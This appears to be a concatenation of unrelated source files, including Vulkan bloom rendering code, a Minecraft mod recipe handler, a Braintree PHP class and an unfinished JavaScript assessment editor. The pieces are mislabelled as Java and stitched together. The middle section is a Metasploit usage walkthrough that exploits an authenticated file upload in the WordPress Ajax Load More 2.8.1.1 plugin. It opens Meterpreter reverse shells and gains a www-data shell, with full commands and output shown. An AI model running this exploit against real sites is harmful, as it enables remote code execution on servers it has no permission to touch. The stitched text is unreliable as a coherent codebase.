#define QUAD_COLOR_NORMAL { 1.0f, 1.0f, 1.0f }, { 0.0f, 0.0f, 1.0f }
std::vector<Vertex> vertexBuffer =
{
{ { 1.0f, 1.0f, 0.0f },{ 1.0f, 1.0f }, QUAD_COLOR_NORMAL },
{ { 0.0f, 1.0f, 0.0f },{ 0.0f, 1.0f }, QUAD_COLOR_NORMAL },
{ { 0.0f, 0.0f, 0.0f },{ 0.0f, 0.0f }, QUAD_COLOR_NORMAL },
{ { 1.0f, 0.0f, 0.0f },{ 1.0f, 0.0f }, QUAD_COLOR_NORMAL }
};
#undef QUAD_COLOR_NORMAL
createBuffer(
VK_BUFFER_USAGE_VERTEX_BUFFER_BIT,
vertexBuffer.size() * sizeof(Vertex),
vertexBuffer.data(),
&meshes.quad.vertices.buf,
&meshes.quad.vertices.mem);
// Setup indices
std::vector<uint32_t> indexBuffer = { 0,1,2, 2,3,0 };
meshes.quad.indexCount = indexBuffer.size();
createBuffer(
VK_BUFFER_USAGE_INDEX_BUFFER_BIT,
indexBuffer.size() * sizeof(uint32_t),
indexBuffer.data(),
&meshes.quad.indices.buf,
&meshes.quad.indices.mem);
}
void setupVertexDescriptions()
{
// Binding description
// Same for all meshes used in this example
vertices.bindingDescriptions.resize(1);
vertices.bindingDescriptions[0] =
vkTools::initializers::vertexInputBindingDescription(
VERTEX_BUFFER_BIND_ID,
vkMeshLoader::vertexSize(vertexLayout),
VK_VERTEX_INPUT_RATE_VERTEX);
// Attribute descriptions
vertices.attributeDescriptions.resize(4);
// Location 0 : Position
vertices.attributeDescriptions[0] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
0,
VK_FORMAT_R32G32B32_SFLOAT,
0);
// Location 1 : Texture coordinates
vertices.attributeDescriptions[1] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
1,
VK_FORMAT_R32G32_SFLOAT,
sizeof(float) * 3);
// Location 2 : Color
vertices.attributeDescriptions[2] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
2,
VK_FORMAT_R32G32B32_SFLOAT,
sizeof(float) * 5);
// Location 3 : Normal
vertices.attributeDescriptions[3] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
3,
VK_FORMAT_R32G32B32_SFLOAT,
sizeof(float) * 8);
vertices.inputState = vkTools::initializers::pipelineVertexInputStateCreateInfo();
vertices.inputState.vertexBindingDescriptionCount = vertices.bindingDescriptions.size();
vertices.inputState.pVertexBindingDescriptions = vertices.bindingDescriptions.data();
vertices.inputState.vertexAttributeDescriptionCount = vertices.attributeDescriptions.size();
vertices.inputState.pVertexAttributeDescriptions = vertices.attributeDescriptions.data();
}
void setupDescriptorPool()
{
std::vector<VkDescriptorPoolSize> poolSizes =
{
vkTools::initializers::descriptorPoolSize(VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 8),
vkTools::initializers::descriptorPoolSize(VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 6)
};
VkDescriptorPoolCreateInfo descriptorPoolInfo =
vkTools::initializers::descriptorPoolCreateInfo(
poolSizes.size(),
poolSizes.data(),
5);
VK_CHECK_RESULT(vkCreateDescriptorPool(device, &descriptorPoolInfo, nullptr, &descriptorPool));
}
void setupDescriptorSetLayout()
{
// Textured quad pipeline layout
std::vector<VkDescriptorSetLayoutBinding> setLayoutBindings =
{
// Binding 0 : Vertex shader uniform buffer
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,
VK_SHADER_STAGE_VERTEX_BIT,
0),
// Binding 1 : Fragment shader image sampler
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER,
VK_SHADER_STAGE_FRAGMENT_BIT,
1),
// Binding 2 : Framgnet shader image sampler
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,
VK_SHADER_STAGE_FRAGMENT_BIT,
2),
};
VkDescriptorSetLayoutCreateInfo descriptorLayout =
vkTools::initializers::descriptorSetLayoutCreateInfo(
setLayoutBindings.data(),
setLayoutBindings.size());
VK_CHECK_RESULT(vkCreateDescriptorSetLayout(device, &descriptorLayout, nullptr, &descriptorSetLayout));
VkPipelineLayoutCreateInfo pPipelineLayoutCreateInfo =
vkTools::initializers::pipelineLayoutCreateInfo(
&descriptorSetLayout,
1);
VK_CHECK_RESULT(vkCreatePipelineLayout(device, &pPipelineLayoutCreateInfo, nullptr, &pipelineLayout));
}
void setupDescriptorSet()
{
VkDescriptorSetAllocateInfo allocInfo =
vkTools::initializers::descriptorSetAllocateInfo(
descriptorPool,
&descriptorSetLayout,
1);
std::vector<VkWriteDescriptorSet> writeDescriptorSets;
// Full screen blur descriptor sets
// Vertical blur
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.verticalBlur));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsScene.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &offscreenPass.framebuffers[0].descriptor),
// Binding 2: Fragment shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 2, &uniformData.fsVertBlur.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// Horizontal blur
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.horizontalBlur));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsScene.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &offscreenPass.framebuffers[1].descriptor),
// Binding 2: Fragment shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 2, &uniformData.fsHorzBlur.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// 3D scene
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.scene));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.scene, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsFullScreen.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// Skybox
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.skyBox));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.skyBox, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsSkyBox.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.skyBox, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &textures.cubemap.descriptor),
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
}
void preparePipelines()
{
VkPipelineInputAssemblyStateCreateInfo inputAssemblyState =
vkTools::initializers::pipelineInputAssemblyStateCreateInfo(
VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST,
0,
VK_FALSE);
VkPipelineRasterizationStateCreateInfo rasterizationState =
vkTools::initializers::pipelineRasterizationStateCreateInfo(
VK_POLYGON_MODE_FILL,
VK_CULL_MODE_NONE,
VK_FRONT_FACE_CLOCKWISE,
0);
VkPipelineColorBlendAttachmentState blendAttachmentState =
vkTools::initializers::pipelineColorBlendAttachmentState(
0xf,
VK_FALSE);
VkPipelineColorBlendStateCreateInfo colorBlendState =
vkTools::initializers::pipelineColorBlendStateCreateInfo(
1,
&blendAttachmentState);
VkPipelineDepthStencilStateCreateInfo depthStencilState =
vkTools::initializers::pipelineDepthStencilStateCreateInfo(
VK_TRUE,
VK_TRUE,
VK_COMPARE_OP_LESS_OR_EQUAL);
VkPipelineViewportStateCreateInfo viewportState =
vkTools::initializers::pipelineViewportStateCreateInfo(1, 1, 0);
VkPipelineMultisampleStateCreateInfo multisampleState =
vkTools::initializers::pipelineMultisampleStateCreateInfo(
VK_SAMPLE_COUNT_1_BIT,
0);
std::vector<VkDynamicState> dynamicStateEnables = {
VK_DYNAMIC_STATE_VIEWPORT,
VK_DYNAMIC_STATE_SCISSOR
};
VkPipelineDynamicStateCreateInfo dynamicState =
vkTools::initializers::pipelineDynamicStateCreateInfo(
dynamicStateEnables.data(),
dynamicStateEnables.size(),
0);
std::array<VkPipelineShaderStageCreateInfo, 2> shaderStages;
// Vertical gauss blur
// Load shaders
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/gaussblur.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/gaussblur.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
VkGraphicsPipelineCreateInfo pipelineCreateInfo =
vkTools::initializers::pipelineCreateInfo(
pipelineLayout,
renderPass,
0);
pipelineCreateInfo.pVertexInputState = &vertices.inputState;
pipelineCreateInfo.pInputAssemblyState = &inputAssemblyState;
pipelineCreateInfo.pRasterizationState = &rasterizationState;
pipelineCreateInfo.pColorBlendState = &colorBlendState;
pipelineCreateInfo.pMultisampleState = &multisampleState;
pipelineCreateInfo.pViewportState = &viewportState;
pipelineCreateInfo.pDepthStencilState = &depthStencilState;
pipelineCreateInfo.pDynamicState = &dynamicState;
pipelineCreateInfo.stageCount = shaderStages.size();
pipelineCreateInfo.pStages = shaderStages.data();
// Additive blending
blendAttachmentState.colorWriteMask = 0xF;
blendAttachmentState.blendEnable = VK_TRUE;
blendAttachmentState.colorBlendOp = VK_BLEND_OP_ADD;
blendAttachmentState.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
blendAttachmentState.dstColorBlendFactor = VK_BLEND_FACTOR_ONE;
blendAttachmentState.alphaBlendOp = VK_BLEND_OP_ADD;
blendAttachmentState.srcAlphaBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
blendAttachmentState.dstAlphaBlendFactor = VK_BLEND_FACTOR_DST_ALPHA;
pipelineCreateInfo.renderPass = offscreenPass.renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.blurVert));
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.blurHorz));
// Phong pass (3D model)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/phongpass.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/phongpass.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
blendAttachmentState.blendEnable = VK_FALSE;
depthStencilState.depthWriteEnable = VK_TRUE;
rasterizationState.cullMode = VK_CULL_MODE_BACK_BIT;
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.phongPass));
// Color only pass (offscreen blur base)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/colorpass.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/colorpass.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
pipelineCreateInfo.renderPass = offscreenPass.renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.glowPass));
// Skybox (cubemap)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/skybox.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/skybox.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
depthStencilState.depthWriteEnable = VK_FALSE;
rasterizationState.cullMode = VK_CULL_MODE_FRONT_BIT;
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.skyBox));
}
// Prepare and initialize uniform buffer containing shader uniforms
void prepareUniformBuffers()
{
// Phong and color pass vertex shader uniform buffer
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.scene),
&ubos.scene,
&uniformData.vsScene.buffer,
&uniformData.vsScene.memory,
&uniformData.vsScene.descriptor);
// Fullscreen quad display vertex shader uniform buffer
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.fullscreen),
&ubos.fullscreen,
&uniformData.vsFullScreen.buffer,
&uniformData.vsFullScreen.memory,
&uniformData.vsFullScreen.descriptor);
// Fullscreen quad fragment shader uniform buffers
// Vertical blur
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.vertBlur),
&ubos.vertBlur,
&uniformData.fsVertBlur.buffer,
&uniformData.fsVertBlur.memory,
&uniformData.fsVertBlur.descriptor);
// Horizontal blur
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.horzBlur),
&ubos.horzBlur,
&uniformData.fsHorzBlur.buffer,
&uniformData.fsHorzBlur.memory,
&uniformData.fsHorzBlur.descriptor);
// Skybox
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.skyBox),
&ubos.skyBox,
&uniformData.vsSkyBox.buffer,
&uniformData.vsSkyBox.memory,
&uniformData.vsSkyBox.descriptor);
// Intialize uniform buffers
updateUniformBuffersScene();
updateUniformBuffersScreen();
}
// Update uniform buffers for rendering the 3D scene
void updateUniformBuffersScene()
{
// UFO
ubos.fullscreen.projection = glm::perspective(glm::radians(45.0f), (float)width / (float)height, 0.1f, 256.0f);
glm::mat4 viewMatrix = glm::translate(glm::mat4(), glm::vec3(0.0f, -1.0f, zoom));
ubos.fullscreen.model = viewMatrix *
glm::translate(glm::mat4(), glm::vec3(sin(glm::radians(timer * 360.0f)) * 0.25f, 0.0f, cos(glm::radians(timer * 360.0f)) * 0.25f) + cameraPos);
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.x), glm::vec3(1.0f, 0.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, -sinf(glm::radians(timer * 360.0f)) * 0.15f, glm::vec3(1.0f, 0.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.y), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(timer * 360.0f), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.z), glm::vec3(0.0f, 0.0f, 1.0f));
uint8_t *pData;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsFullScreen.memory, 0, sizeof(ubos.fullscreen), 0, (void **)&pData));
memcpy(pData, &ubos.fullscreen, sizeof(ubos.fullscreen));
vkUnmapMemory(device, uniformData.vsFullScreen.memory);
// Skybox
ubos.skyBox.projection = glm::perspective(glm::radians(45.0f), (float)width / (float)height, 0.1f, 256.0f);
ubos.skyBox.model = glm::mat4();
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.x), glm::vec3(1.0f, 0.0f, 0.0f));
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.y), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.z), glm::vec3(0.0f, 0.0f, 1.0f));
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsSkyBox.memory, 0, sizeof(ubos.skyBox), 0, (void **)&pData));
memcpy(pData, &ubos.skyBox, sizeof(ubos.skyBox));
vkUnmapMemory(device, uniformData.vsSkyBox.memory);
}
// Update uniform buffers for the fullscreen quad
void updateUniformBuffersScreen()
{
// Vertex shader
ubos.scene.projection = glm::ortho(0.0f, 1.0f, 0.0f, 1.0f, -1.0f, 1.0f);
ubos.scene.model = glm::mat4();
uint8_t *pData;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsScene.memory, 0, sizeof(ubos.scene), 0, (void **)&pData));
memcpy(pData, &ubos.scene, sizeof(ubos.scene));
vkUnmapMemory(device, uniformData.vsScene.memory);
// Fragment shader
// Vertical
ubos.vertBlur.horizontal = 0;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.fsVertBlur.memory, 0, sizeof(ubos.vertBlur), 0, (void **)&pData));
memcpy(pData, &ubos.vertBlur, sizeof(ubos.vertBlur));
vkUnmapMemory(device, uniformData.fsVertBlur.memory);
// Horizontal
ubos.horzBlur.horizontal = 1;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.fsHorzBlur.memory, 0, sizeof(ubos.horzBlur), 0, (void **)&pData));
memcpy(pData, &ubos.horzBlur, sizeof(ubos.horzBlur));
vkUnmapMemory(device, uniformData.fsHorzBlur.memory);
}
void draw()
{
VulkanExampleBase::prepareFrame();
// The scene render command buffer has to wait for the offscreen rendering to be finished before we can use the framebuffer
// color image for sampling during final rendering
// To ensure this we use a dedicated offscreen synchronization semaphore that will be signaled when offscreen rendering has been finished
// This is necessary as an implementation may start both command buffers at the same time, there is no guarantee
// that command buffers will be executed in the order they have been submitted by the application
// Offscreen rendering
// Wait for swap chain presentation to finish
submitInfo.pWaitSemaphores = &semaphores.presentComplete;
// Signal ready with offscreen semaphore
submitInfo.pSignalSemaphores = &offscreenPass.semaphore;
// Submit work
submitInfo.commandBufferCount = 1;
submitInfo.pCommandBuffers = &offscreenPass.commandBuffer;
VK_CHECK_RESULT(vkQueueSubmit(queue, 1, &submitInfo, VK_NULL_HANDLE));
// Scene rendering
// Wait for offscreen semaphore
submitInfo.pWaitSemaphores = &offscreenPass.semaphore;
// Signal ready with render complete semaphpre
submitInfo.pSignalSemaphores = &semaphores.renderComplete;
// Submit work
submitInfo.pCommandBuffers = &drawCmdBuffers[currentBuffer];
VK_CHECK_RESULT(vkQueueSubmit(queue, 1, &submitInfo, VK_NULL_HANDLE));
VulkanExampleBase::submitFrame();
}
void prepare()
{
VulkanExampleBase::prepare();
loadAssets();
generateQuad();
setupVertexDescriptions();
prepareUniformBuffers();
prepareOffscreen();
setupDescriptorSetLayout();
preparePipelines();
setupDescriptorPool();
setupDescriptorSet();
buildCommandBuffers();
prepared = true;
}
virtual void render()
{
if (!prepared)
return;
draw();
if (!paused)
{
updateUniformBuffersScene();
}
}
virtual void viewChanged()
{
updateUniformBuffersScene();
updateUniformBuffersScreen();
}
virtual void keyPressed(uint32_t keyCode)
{
switch (keyCode)
{
case KEY_KPADD:
case GAMEPAD_BUTTON_R1:
changeBlurScale(0.25f);
break;
case KEY_KPSUB:
case GAMEPAD_BUTTON_L1:
changeBlurScale(-0.25f);
break;
case KEY_B:
case GAMEPAD_BUTTON_A:
toggleBloom();
break;
}
}
virtual void getOverlayText(VulkanTextOverlay *textOverlay)
{
#if defined(__ANDROID__)
textOverlay->addText("Press \"L1/R1\" to change blur scale", 5.0f, 85.0f, VulkanTextOverlay::alignLeft);
textOverlay->addText("Press \"Button A\" to toggle bloom", 5.0f, 105.0f, VulkanTextOverlay::alignLeft);
#else
textOverlay->addText("Press \"NUMPAD +/-\" to change blur scale", 5.0f, 85.0f, VulkanTextOverlay::alignLeft);
textOverlay->addText("Press \"B\" to toggle bloom", 5.0f, 105.0f, VulkanTextOverlay::alignLeft);
#endif
}
void changeBlurScale(float delta)
{
ubos.vertBlur.blurScale += delta;
ubos.horzBlur.blurScale += delta;
updateUniformBuffersScreen();
}
void toggleBloom()
{
bloom = !bloom;
reBuildCommandBuffers();
}
};
VULKAN_EXAMPLE_MAIN()
| Java |
package mcjty.deepresonance.jei.smelter;
import mezz.jei.api.recipe.IRecipeWrapper;
import javax.annotation.Nonnull;
public class SmelterRecipeHandler implements mezz.jei.api.recipe.IRecipeHandler<SmelterRecipeWrapper> {
private final String id;
public SmelterRecipeHandler() {
this.id = SmelterRecipeCategory.ID;
}
@Nonnull
@Override
public Class<SmelterRecipeWrapper> getRecipeClass() {
return SmelterRecipeWrapper.class;
}
@Nonnull
@Override
public IRecipeWrapper getRecipeWrapper(@Nonnull SmelterRecipeWrapper recipe) {
return recipe;
}
@Override
public String getRecipeCategoryUid(SmelterRecipeWrapper recipe) {
return id;
}
@Override
public boolean isRecipeValid(SmelterRecipeWrapper recipe) {
return true;
}
}
| Java |
#### Add WordPress Plugin Ajax Load More Auth File Upload Vulnerability
Application: WordPress Plugin 'Ajax Load More' 2.8.1.1
Homepage: https://wordpress.org/plugins/ajax-load-more/
Source Code: https://downloads.wordpress.org/plugin/ajax-load-more.2.8.0.zip
Active Installs (wordpress.org): 10,000+
References: https://wpvulndb.com/vulnerabilities/8209
#### Vulnerable packages*
2.8.1.1
#### Usage:
##### Linux (Ubuntu 12.04.5 LTS):
```
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> use exploit/unix/webapp/wp_ajax_load_more_file_upload
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) info
Name: Wordpress Ajax Load More PHP Upload Vulnerability
Module: exploit/unix/webapp/wp_ajax_load_more_file_upload
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-10-10
Provided by:
Unknown
Roberto Soares Espreto <robertoespreto@gmail.com>
Available targets:
Id Name
-- ----
0 Ajax Load More 2.8.1.1
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
WP_PASSWORD yes Valid password for the provided username
WP_USERNAME yes A valid username
Payload information:
Description:
This module exploits an arbitrary file upload in the WordPress Ajax
Load More version 2.8.1.1. It allows to upload arbitrary php files
and get remote code execution. This module has been tested
successfully on WordPress Ajax Load More 2.8.0 with Wordpress 4.1.3
on Ubuntu 12.04/14.04 Server.
References:
https://wpvulndb.com/vulnerabilities/8209
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) show options
Module options (exploit/unix/webapp/wp_ajax_load_more_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
WP_PASSWORD yes Valid password for the provided username
WP_USERNAME yes A valid username
Exploit target:
Id Name
-- ----
0 Ajax Load More 2.8.1.1
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set RHOST 192.168.0.14
RHOST => 192.168.0.14
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set WP_USERNAME espreto
WP_USERNAME => espreto
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set WP_PASSWORD P@ssW0rd
WP_PASSWORD => P@ssW0rd
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) check
[*] 192.168.0.14:80 - The target appears to be vulnerable.
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) exploit
[*] Started reverse handler on 192.168.0.7:4444
[*] 192.168.0.14:80 - Uploading payload
[*] 192.168.0.14:80 - Calling uploaded file
[*] Sending stage (33068 bytes) to 192.168.0.14
[*] Meterpreter session 1 opened (192.168.0.7:4444 -> 192.168.0.14:42868) at 2015-10-17 13:21:05 -0300
[+] Deleted default.php
meterpreter > sysinfo
Computer : msfdevel
OS : Linux msfdevel 3.13.0-62-generic #102~precise1-Ubuntu SMP Wed Aug 12 14:11:43 UTC 2015 i686
Meterpreter : php/php
meterpreter > shell
Process 12445 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^Z
Background channel 0? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
msfdevel 192.168.0.7 shell[s]:1 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set VERBOSE true
VERBOSE => true
msfdevel 192.168.0.7 shell[s]:1 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) exploit
[*] Started reverse handler on 192.168.0.7:4444
[*] 192.168.0.14:80 - Trying to login as espreto
[*] 192.168.0.14:80 - Trying to get nonce
[*] 192.168.0.14:80 - Trying to upload payload
[*] 192.168.0.14:80 - Uploading payload
[*] 192.168.0.14:80 - Calling uploaded file
[*] Sending stage (33068 bytes) to 192.168.0.14
[*] Meterpreter session 2 opened (192.168.0.7:4444 -> 192.168.0.14:42935) at 2015-10-17 13:24:03 -0300
[+] Deleted default.php
meterpreter > background
[*] Backgrounding session 2...
msfdevel 192.168.0.7 shell[s]:2 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload)
```
| Java |
<?php
class Braintree_CreditCardVerification extends Braintree_Result_CreditCardVerification
{
public static function factory($attributes)
{
$instance = new self($attributes);
return $instance;
}
// static methods redirecting to gateway
public static function fetch($query, $ids)
{
return Braintree_Configuration::gateway()->creditCardVerification()->fetch($query, $ids);
}
public static function search($query)
{
return Braintree_Configuration::gateway()->creditCardVerification()->search($query);
}
}
| Java |
var g_batchAssessmentEditor = null;
var g_tabAssessments = null;
var g_updatingAttendance = false;
var g_onRefresh = null;
var g_lockedCount = 0;
var g_btnSubmit = null;
var g_sectionAssessmentEditors = null;
var g_sectionAssessmentButtons = null;
function createAssessment(content, to) {
var assessmentJson = {};
assessmentJson["content"] = content;
assessmentJson["to"] = to;
return new Assessment(assessmentJson);
}
function SingleAssessmentEditor(){
this.participantId = 0;
this.name = "";
this.content = "";
this.lock = null;
}
function BatchAssessmentEditor(){
this.switchAttendance = null;
this.selectAll = null;
this.editors = null;
}
function generateAssessmentEditor(par, participant, activity, batchEditor){
var singleEditor = new SingleAssessmentEditor();
var row = $('<div>', {
"class": "assessment-input-row"
}).appendTo(par);
var avatar = $("<img>", {
src: participant.avatar,
"class": "assessment-avatar"
}).click(function(evt) {
evt.preventDefault();
window.location.hash = ("profile?" + g_keyVieweeId + "=" + participant.id.toString());
}).appendTo(row);
var name = $('<a>', {
href: "#",
text: participant.name
}).appendTo(row);
name.click(function(evt) {
evt.preventDefault();
window.location.hash = ("profile?" + g_keyVieweeId + "=" + participant.id.toString());
});
singleEditor.participantId = participant.id;
singleEditor.name = participant.name;
if ( activity.containsRelation() && ((activity.relation & assessed) == 0) ) generateUnassessedView(row, singleEditor, batchEditor);
else generateAssessedView(row, participant, activity);
if(g_loggedInUser != null && g_loggedInUser.id == participant.id) row.hide();
return singleEditor;
}
function generateAssessmentEditors(par, activity, batchEditor) {
par.empty();
var participants = activity.selectedParticipants;
var editors = new Array();
for(var i = 0; i < participants.length; i++){
var editor = generateAssessmentEditor(par, participants[i], activity, batchEditor);
editors.push(editor);
}
return editors;
}
function generateAssessmentButtons(par, activity, batchEditor){
par.empty();
if(batchEditor.editors == null || batchEditor.editors.length <= 1) return;
var row = $('<div>', {
"class": "assessment-button"
}).appendTo(par);
var btnCheckAll = $("<button>", {
text: TITLES["check_all"],
"class": "gray assessment-button"
}).appendTo(row);
btnCheckAll.click(batchEditor, function(evt){
evt.preventDefault();
for(var i = 0; i < evt.data.editors.length; i++) {
var editor = evt.data.editors[i];
editor.lock.prop("checked", true).change();
}
});
var btnUncheckAll = $("<button>", {
text: TITLES["uncheck_all"],
"class": "gray assessment-button"
}).appendTo(row);
btnUncheckAll.click(batchEditor, function(evt){
evt.preventDefault();
for(var i = 0; i < evt.data.editors.length; i++) {
var editor = evt.data.editors[i];
editor.lock.prop("checked", false).change();
}
});
g_btnSubmit = $("<button>", {
text: TITLES["submit"],
"class": "assessment-button positive-button"
}).appendTo(row);
g_btnSubmit.click({editor: batchEditor, activity: activity}, function(evt){
evt.preventDefault();
if (g_loggedInUser == null) return;
var aBatchEditor = evt.data.editor;
var aActivity = evt.data.activity;
var assessments = new Array();
